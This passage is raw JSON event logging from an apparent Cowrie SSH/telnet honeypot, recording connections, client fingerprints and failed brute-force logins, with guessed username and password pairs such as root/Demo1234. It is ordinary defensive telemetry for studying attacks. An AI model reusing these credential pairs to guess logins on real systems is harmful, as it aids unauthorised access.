client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.210087Z","src_ip":"193.32.162.145","session":"2e9477a2452f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":40300,"dst_ip":"10.17.0.5","dst_port":22,"session":"e79153a057e0","protocol":"ssh","message":"New connection: 194.147.93.208:40300 (10.17.0.5:22) [session: e79153a057e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.490438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.495436Z","src_ip":"194.147.93.208","session":"e79153a057e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.518802Z","src_ip":"193.32.162.145","session":"2e9477a2452f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.586229Z","src_ip":"194.147.93.208","session":"e79153a057e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Demo1234","message":"login attempt [root/Demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.981802Z","src_ip":"194.147.93.208","session":"e79153a057e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:31.642460Z","src_ip":"193.32.162.145","session":"2e9477a2452f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:32.075364Z","src_ip":"194.147.93.208","session":"e79153a057e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134754180908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:34.473436Z","src_ip":"152.42.224.71","session":"492c961bd5d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.675953149795532,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:37.633215Z","src_ip":"152.42.224.71","session":"813c3241f038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56082,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee91328f75a","protocol":"telnet","message":"New connection: 152.42.224.71:56082 (10.17.0.5:23) [session: eee91328f75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:38.699857Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56094,"dst_ip":"10.17.0.5","dst_port":23,"session":"c24a17a948cc","protocol":"telnet","message":"New connection: 152.42.224.71:56094 (10.17.0.5:23) [session: c24a17a948cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:42.034778Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":34958,"dst_ip":"10.17.0.5","dst_port":22,"session":"17261749522d","protocol":"ssh","message":"New connection: 43.153.54.120:34958 (10.17.0.5:22) [session: 17261749522d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:48.091987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:48.096868Z","src_ip":"43.153.54.120","session":"17261749522d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:48.164202Z","src_ip":"43.153.54.120","session":"17261749522d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alanturing","message":"login attempt [root/alanturing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:48.463364Z","src_ip":"43.153.54.120","session":"17261749522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:49.534323Z","src_ip":"43.153.54.120","session":"17261749522d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57406,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4159bfd26c","protocol":"telnet","message":"New connection: 152.42.224.71:57406 (10.17.0.5:23) [session: bd4159bfd26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:55.177233Z"}
{"eventid":"cowrie.session.closed","duration":38.52671551704407,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:58.349059Z","src_ip":"152.42.224.71","session":"9a32df3b032d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00623893737793,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:03.135642Z","src_ip":"152.42.224.71","session":"48de4cfd25b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.8120334148407,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:06.100466Z","src_ip":"152.42.224.71","session":"d14cd0507be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":41508,"dst_ip":"10.17.0.5","dst_port":22,"session":"94528b239aab","protocol":"ssh","message":"New connection: 103.149.28.157:41508 (10.17.0.5:22) [session: 94528b239aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:06.365659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:06.370978Z","src_ip":"103.149.28.157","session":"94528b239aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:06.620524Z","src_ip":"103.149.28.157","session":"94528b239aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktyrf","message":"login attempt [root/fktyrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:07.368840Z","src_ip":"103.149.28.157","session":"94528b239aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":53534,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9c099b80b0","protocol":"ssh","message":"New connection: 43.159.35.21:53534 (10.17.0.5:22) [session: 3c9c099b80b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:07.474383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:07.479021Z","src_ip":"43.159.35.21","session":"3c9c099b80b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:07.753803Z","src_ip":"43.159.35.21","session":"3c9c099b80b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:08.620314Z","src_ip":"103.149.28.157","session":"94528b239aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support2017","message":"login attempt [root/support2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:08.790169Z","src_ip":"43.159.35.21","session":"3c9c099b80b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:10.042107Z","src_ip":"43.159.35.21","session":"3c9c099b80b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":46354,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc20855b463d","protocol":"ssh","message":"New connection: 62.193.106.227:46354 (10.17.0.5:22) [session: fc20855b463d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:10.965458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:10.969575Z","src_ip":"62.193.106.227","session":"fc20855b463d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:11.115853Z","src_ip":"62.193.106.227","session":"fc20855b463d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cccccc","message":"login attempt [root/cccccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:11.724584Z","src_ip":"62.193.106.227","session":"fc20855b463d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:12.872838Z","src_ip":"62.193.106.227","session":"fc20855b463d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.64863348007202,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:14.348382Z","src_ip":"152.42.224.71","session":"eee91328f75a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.318557024002075,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:24.353211Z","src_ip":"152.42.224.71","session":"c24a17a948cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"636a8b088563","protocol":"ssh","message":"New connection: 194.147.93.208:35372 (10.17.0.5:22) [session: 636a8b088563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:29.218379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:29.223050Z","src_ip":"194.147.93.208","session":"636a8b088563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:29.318196Z","src_ip":"194.147.93.208","session":"636a8b088563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"posp","message":"login attempt [root/posp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:29.713184Z","src_ip":"194.147.93.208","session":"636a8b088563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:30.807680Z","src_ip":"194.147.93.208","session":"636a8b088563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40966,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b6ee507c72","protocol":"telnet","message":"New connection: 152.42.224.71:40966 (10.17.0.5:23) [session: 69b6ee507c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:32.624768Z"}
{"eventid":"cowrie.session.closed","duration":41.162248373031616,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:36.339378Z","src_ip":"152.42.224.71","session":"bd4159bfd26c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.118.22","src_port":32800,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e894224d8ea","protocol":"telnet","message":"New connection: 37.186.118.22:32800 (159.203.135.109:23) [session: 6e894224d8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:36.939767Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.85.149","src_port":57484,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a2ea17ba9b","protocol":"ssh","message":"New connection: 198.38.85.149:57484 (10.17.0.5:22) [session: 47a2ea17ba9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:43.004663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:43.009403Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:43.200714Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
